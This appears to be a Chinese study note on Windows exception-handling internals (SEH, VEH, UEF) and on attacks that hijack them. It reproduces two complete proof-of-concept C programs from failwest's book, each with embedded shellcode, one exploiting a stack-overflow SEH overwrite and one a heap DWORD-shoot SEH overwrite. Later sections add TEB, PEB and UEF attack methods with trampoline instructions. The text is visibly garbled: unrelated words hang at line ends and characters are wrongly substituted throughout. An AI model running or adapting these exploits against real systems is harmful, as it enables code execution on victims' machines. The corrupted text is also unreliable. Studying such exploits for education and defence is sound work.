看到第六章了:形形色色的内存攻击技术shell
异常处理结构体 S.E.H Structure Exception Handlerwindows
S.E.H 是 Windows 处理异常的重要数据结构。每一个 S.E.H 为 8 字节:包含 S.E.H 链表指针和异常处理函数句柄(两个 DWORD)。安全
1. S.E.H 存放在系统栈中,栈中通常会同时存放多个 S.E.H 2. 线程初始化时,会自动向栈中安装一个 S.E.H,做为线程默认的异常处理。 3. 若是程序源码中使用了 __try{}__except{} 或者 assert 宏等异常处理机制,编译器将最终经过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。 4. 栈中的多个 S.E.H 经过链表指针在栈内由栈顶向栈底串成单链表,链表最顶端的 S.E.H 经过 T.E.B 0 字节偏移处的指针标识。 5. 当异常发生时,OS 会中断程序,并首先从 T.E.B 的 0 字节偏移处(TEB FS:0)取出距离栈顶最近的 S.E.H,并使用异常处理函数句柄指向的代码来处理异常。 6. 当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其余的异常处理函数。 7. 若是程序安装的全部异常处理函数都不能处理,OS 会用默认的异常处理函数:一般会弹出错误提示而后强制关闭程序。 注意:系统对异常处理函数的调用可能不止一次;对于同一个函数的多个 __try 或嵌套的 __try 须要进行 S.E.H 展开(unwind)操做;线程、进程、OS 的异常处理之间的调用顺序和优先级等也要考虑。
所以,一种利用思路就出来了:S.E.H 存放在栈中,因此能够用缓冲区栈溢出覆盖 S.E.H,将 S.E.H 中异常处理函数的地址修改成 Shellcode 的地址。溢出后错误的栈帧每每引起异常,以后 Windows 会将 Shellcode 看成异常处理函数执行。服务器
栈溢出并攻击 SEH 异常处理回调函数示例以下:数据结构
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I'm possible"! 3 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : SEH_stack.c 7 author : failwest 8 date : 2007.07.04 9 description : demo show of how SEH be exploited 10 Noticed : 1 only run on windows 2000 11 2 complied with VC 6.0 12 3 build into release version 13 4 SEH offset and shellcode address may need 14 to make sure via runtime debug 15 version : 1.0 16 E-mail : failwest@gmail.com 17 18 Only for educational purposes enjoy the fun from exploiting :) 19 ******************************************************************************/ 20 #include <windows.h> 21 22 char shellcode[]= 23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 25 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 26 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 27 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 28 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 29 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 30 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 31 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 32 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 33 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 34 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 35 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 36 "\x90\x90\x90\x90" 37 "\x98\xFE\x12\x00";//address of shellcode 38 DWORD MyExceptionhandler(void) 39 { 40 printf("got an exception, press Enter to kill process!\n"); 41 getchar(); 42 ExitProcess(1); 43 return 0; 44 } 45 46 void test(char * input) 47 { 48 char buf[200]; 49 int zero=0; 50 //__asm int 3 //used to break process for debug 51 __try 52 { 53 strcpy(buf,input); //overrun the stack 54 zero=4/zero; //generate an exception 55 } 56 __except(MyExceptionhandler()){} 57 } 58 59 int main() 60 { 61 test(shellcode); 62 return 0; 63 }
以上代码的测试环境为 Windows 2000 VM,编译版本为 Release。异常处理机制调试与堆调试相似,系统会检测进程是否处于调试态,调试态的异常处理与常态不同,因此须要使用 int 3 中断来 Attach 进程进行调试。实验的关键在于肯定 S.E.H 回调函数的句柄,这个是经过调试事先肯定的:单击 OllyDbg 中的 View -> SEH Chain 能够看到异常回调函数句柄。多线程
Windows 平台的溢出利用中,修改 SEH 和修改返回地址的栈溢出几乎一样流行。在不少高难度的限制条件下,直接利用溢出触发异常每每能获得高质量的 exploit。ide
同理,堆溢出攻击 SEH 的代码以下:函数
1 /***************************************************************************** 2 To be the apostrophe which changed "Impossible" into "I'm possible"! 3 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique" 5 6 file name : SEH_heap.c 7 author : failwest 8 date : 2007.07.04 9 description : demo show of how SEH be exploited 10 Noticed : 1 only run on windows 2000 11 2 complied with VC 6.0 12 3 build into release version 13 4 SEH address may need to make sure via runtime debug 14 version : 1.0 15 E-mail : failwest@gmail.com 16 17 Only for educational purposes enjoy the fun from exploiting :) 18 ******************************************************************************/ 19 #include <windows.h> 20 21 char shellcode[]= 22 "\x90\x90\x90\x90\x90\x90\x90\x90" 23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 24 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 25 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 26 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 27 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 28 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 29 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 30 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 31 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 32 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 33 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 34 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 35 "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 36 "\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first heap block 37 //"\x90\x90\x90\x90";//target of dword shouting 38 "\x30\xFF\x12\x00";//target of dword shouting 39 40 DWORD MyExceptionhandler(void) 41 { 42 ExitProcess(1); 43 } 44 45 main() 46 { 47 HLOCAL h1 = 0, h2 = 0; 48 HANDLE hp; 49 hp = HeapCreate(0,0x1000,0x10000); 50 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); 51 memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 512 ! 52 __asm int 3 // uesd to break the process 53 __try 54 { 55 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 56 } 57 __except(MyExceptionhandler()){} 58 return 0; 59 }
须要注意的是,堆溢出中 SEH 的地址须要用以下技巧调试得知:post
首先,OllyDbg 是能够捕获全部异常的,但须要在 Optins -> Debugging Option -> Exceptions 中关闭异常过滤。测试
这样,当进程发生异常时,OllyDbg 就能够捕获到(见底部状态栏):
而后,设置 DWORD SHOOT 攻击目标为非法地址 0x90909090,触发异常后,打开 OllyDbg 的 SEH Chain 才能够看到须要覆盖的 SEH 地址:栈顶端 SEH 的位置是 0x0012FF2C,因此 DWORD SHOOT 的地址是 0x0012FF2C + 0x4 = 0x0012FF30
深刻 S.E.H
和堆分配机制同样,MS 从未正式公开过 Windows 的异常处理机制。但在非官方的文献资料中有一篇著名的技术文章:微软工程师 Matt Pietrek 所发表的 A Crach Course on the Depths of Win32 Structured Exception Handling,系统地描述了 Windows 中基于 S.E.H 的异常处理原理和大体流程,并讲解了 S.E.H 是如何实现 __try{}、__except{} 异常处理机制的,见:http://www.microsoft.com/msj/0197/exception/exception.aspx
从攻击者的角度讲,对异常处理的掌握只要知道改写 S.E.H 并劫持进程、植入代码就够了,但对安全技术研究人员来讲,异常处理机制颇有研究价值,几乎全部大师级别的安全专家都对异常处理机制了如指掌,若是能掌握异常处理的全部细节,那么就有可能创造一种新的漏洞利用方法。
异常处理的最小做用域是线程,此外进程中也有一个能纵观全局的异常处理,当线程自身的 SEH 没法处理错误的时候,进程 SEH 将发挥做用。这种异常处理不只能影响出错的线程,进程下属的全部线程都会受到影响。除了线程、进程异常处理外,OS 还为全部程序提供了一个默认的异常处理:当全部线程、进程 SEH 都没法处理异常的时候,默认异常处理将启用,效果一般是弹出程序崩溃的对话框。
补充异常处理简要流程以下: 1. 首先执行线程中离栈顶最近的 SEH 的处理函数 2. 若失败,则依次执行 SEH 链表中的后续异常处理函数 3. 若 SEH 链表中全部异常处理函数都没有处理成功,则执行进程中的异常处理 4. 若进程 SEH 处理失败,则执行 OS 的默认异常处理函数:弹窗!
线程的异常处理
线程中用于异常处理的函数有 4 个参数:
pExcept : 指向一个很是重要的结构体 EXCEPTION_RECORD,该结构体包含了一些与异常相关的信息,如异常类型、异常发生地址等。
pFrame : 指向栈帧中的 SEH 结构体。
pContext : 指向 Context 的结构体,该结构体包含了全部寄存器状态。
pDispatch : 未知用途。。。
在回调函数(异常处理函数)执行前,OS 会将上述断点信息压栈。根据这些对异常的描述,回调函数能够轻松地处理异常:如将除零异常后相关寄存器的值修改成非零,将内存设访问错误异常后的寄存器地址指回有效地址等。
异常处理函数返回后,OS 根据返回值决定下一步操做:
0 ExceptionContinueExecution 异常处理成功,将返回原程序发生异常的地方继续执行后续指令(这里一些传递给回调函数断点信息可能被修改过,以防止如除零等异常) 1 ExceptionContinueSearch 表明异常处理失败,将继续按异常处理流程执行后续 SEH
线程异常处理中还有一个比较神秘的操做:unwind
当系统顺着 S.E.H 链表搜索到可以处理异常的句柄时,将会从新遍历 S.E.H 链表中已经调用过的 S.E.H 异常处理函数,并通知这些处理异常失败的 S.E.H 清理现场、释放资源,以后这些 S.E.H 结构体将从链表中拆除。
unwind 操做很好地保证了异常处理机制自身的完整性和正确性:
unwind 操做是为了在进行屡次异常处理、甚至互相嵌套的异常处理时,仍能使异常处理机制稳定、正确地执行。unwind 会在真正处理异常以前将以前的 SEH 节点逐个拆除(拆除前会通知异常处理函数释放资源、清理现场),因此,异常处理时,线程的异常处理函数实际上被调用了两次:第一轮调用是用来尝试处理异常,第二轮调用是通知回调函数释放资源。unwind 调用是在回调参数中指明的,对照 MSDN,查看回调函数第一个参数 pExcept 所指向的 EXCEPTION_RECORD 结构体:
typedef struct _EXCEPTION_RECORD { DWORDExceptionCode; DWORDExceptionFlags; // Flags struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
当这个结构体中的 ExceptionCode 为 0xC0000027(STATUS_UNWIND),而且 ExceptionFlags 为 2(EH_UNWINDING)时,对回调函数的调用就属于 unwind 调用。unwind 操做是经过 kernel32 中的一个导出函数 RtlUnwind() 实现,kernel32.dll 会转而再去调用 ntdll.dll 中的同名函数(见 MSDN):
void RtlUnwind ( PVOID TargetFrame, PVOID TargetIp, PEXCEPTION_RECORD ExceptionRecord, PVOID ReturnValue )
要注意的是,在使用回调函数以前,系统会判断当前是否处于调试状态,若是是,会将异常交给调试器处理。
进程的异常处理
线程中发生的异常若没有被线程异常处理函数或调试器处理成功,则将交给进程中的异常处理函数。
进程的异常处理函数须要经过 Kernel32.dll 的导出函数 SetUnhandledExceptionFilter 来注册:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
进程的异常处理函数返回值为:
1 EXCEPTION_EXECUTE_HANDLER 错误等处处理,程序将退出。 0 EXCEPTION_CONTINUE_SEARCH 没法处理错误,转交系统进行默认异常处理 -1 EXCEPTION_CONTINUE_EXECUTION 错误获得正确处理,并将继续执行。系统会用回调函数的参数恢复出异常发生时的断点状况(这时引发异常的寄存器值已经获得修复)
系统默认异常处理 U.E.F - Unhandled Exception Filter
若是用户没有注册进程异常处理,或者进程异常处理失败,则系统默认异常处理 UnhandledExceptionFilter() 会被调用。
UnhandledExceptionFileter() 首先检查注册表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的项:
Auto : 1 表示不弹出错误对话框直接结束程序,其他值会弹窗。
Debugger : 指明默认调试器。
由以上信息,能够总结异常处理的流程以下:
1. CPU 执行时发生并捕获异常,内核接过进程控制权,开始内核态的异常处理。 2. 内核异常处理结束后,控制权交给 ring3。 3. ring3 中的第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()。 4. KiUserExceptionDispatcher() 首先检查程序是否处于调试态,如果,则将异常交给调试器处理。 5. 非调试态下,KiUserExceptionDispater() 调用 RtlDispatchException() 对线程 SEH 链表进行遍历,若是找到合适的回调函数,则进行 unwind 操做。 6. 若是 SEH 处理异常失败,且用户使用 SetUnhandledExceptionFilter() 设定了进程异常处理,则这个异常处理将被调用。 7. 若是用户没有定义进程异常处理或者定义的进程异常处理失败,则 UnhandledExceptionFilter() 被调用。
这个流程基于 Windows 2000 平台,Windows XP 及后续的系统的异常处理流程大体相同,只是 KiUserExceptionDispatcher() 在遍历 SEH 以前,会先尝试新加入的异常处理类型 V.E.H(Vectored Exception Handling)
向量化异常处理 V.E.H - Vectored Exception Handler
从 Windows XP 开始,有兼容之前的 S.E.H 异常处理基础上,MS 增长了 V.E.H:
V.E.H 和进程异常处理相似,也是基于进程的,须要使用 API 注册回调函数:
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
V.E.H 结构
struct _VECTORED_EXCEPTION_NODE {
DWORD m_pNextNode;
DWORD m_pPreviowsNode;
PVOID m_pfnVectoredHandler;
}
能够注册多个 V.E.H,V.E.H 结构体之间串成双向链表,注册 V.E.H 时,能够指定其在链中的位置而不像 S.E.H 那样按顺序压栈。另外 V.E.H 是保存的堆中。
V.E.H 处理优先级高于 S.E.H 处理,并且 V.E.H 没有 unwind 操做。
David Litchfiled 在 Black Hat 上的演讲 Windows heap overflows 提出若是能利用 DWORD SHOOT 修改指向 V.E.H 头节点的指针,则异常处理开始后,能够引导程序执行 Shellcode。
攻击 TEB 中的 SEH 头节点指针
SEH 经过 TEB 的第一个 DWORD(fs:0)标识,这个指针指向离栈顶最近的 SEH。Halvar Flake 在 Black Hat 上的演讲 Third Generation Exploitation 中提出攻击 TEB 中 SEH 头节点指针的利用思路,并指明这种方法的局限:
1. 一个进程可能有多个线程。
2. 每一个线程都有一个 TEB。
3. 第一个 TEB 开始于 0x7FFDE000,以后每一个 TEB 紧随前边的 TEB,相隔 0x1000 字节,向内存低地址增加。
4. 线程退出时,TEB 销毁,腾出的 TEB 空间能够被后续重复使用。
服务器程序每每是多线程的,这种利用方法不便于判断对应 TEB 位置。因此,攻击 TEB 中 SEH 头节点的方法通常用于单线程程序。
攻击默认异常处理 U.E.F
Halvar Flake 最先提出攻击 UEF 的思路,同时还给出了肯定 UEF 句柄的方法 - 反汇编 kernel32.dll 中的 SetUnhandledExceptionFilter():
利用 IDA Pro 打开 kernel32.dll 进行反汇编,分析结束后查看 Functions 选项卡,键入 SetUnhandledExceptionFilter 定位到这个函数,就能找到其入口地址。
双击这个函数,IDA 会自动跳到其反汇编代码处,从反汇编代码中能够查到 U.E.F 的地址。
跳板技术能使 UEF 攻击的成功率增高:异常发生时 EDI 每每指向堆中离 shellcode 不远的地方,把 UEF 的句柄覆盖成以下指令之一就能够定位 shellcode:
call dword ptr [edi+0x78]
call dword ptr [esi+0x4c]
call dword ptr [ebp+0x74]
但堆溢出不像栈溢出同样有个 jmp esp 做保证,堆溢出利用 edi 不必定能每次都成功。
攻击 PEB 中的函数指针
UEF 被使用后,最后将使用 ExitProcess() 和结束进程,ExitProcess() 清理现场时须要调用 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 进入临界区同步线程。若是能用 DWORD SHOOT 把 PEB 中这对函数的指针修改为 shellcode 的地址,那么 UEF 调用 ExitProcess 时就会执行 shellcode。
比起不固定的 TEB,PEB 位置永远不变,所以这种方法比淹没 TEB 中 SEH 头节点更稳定可靠。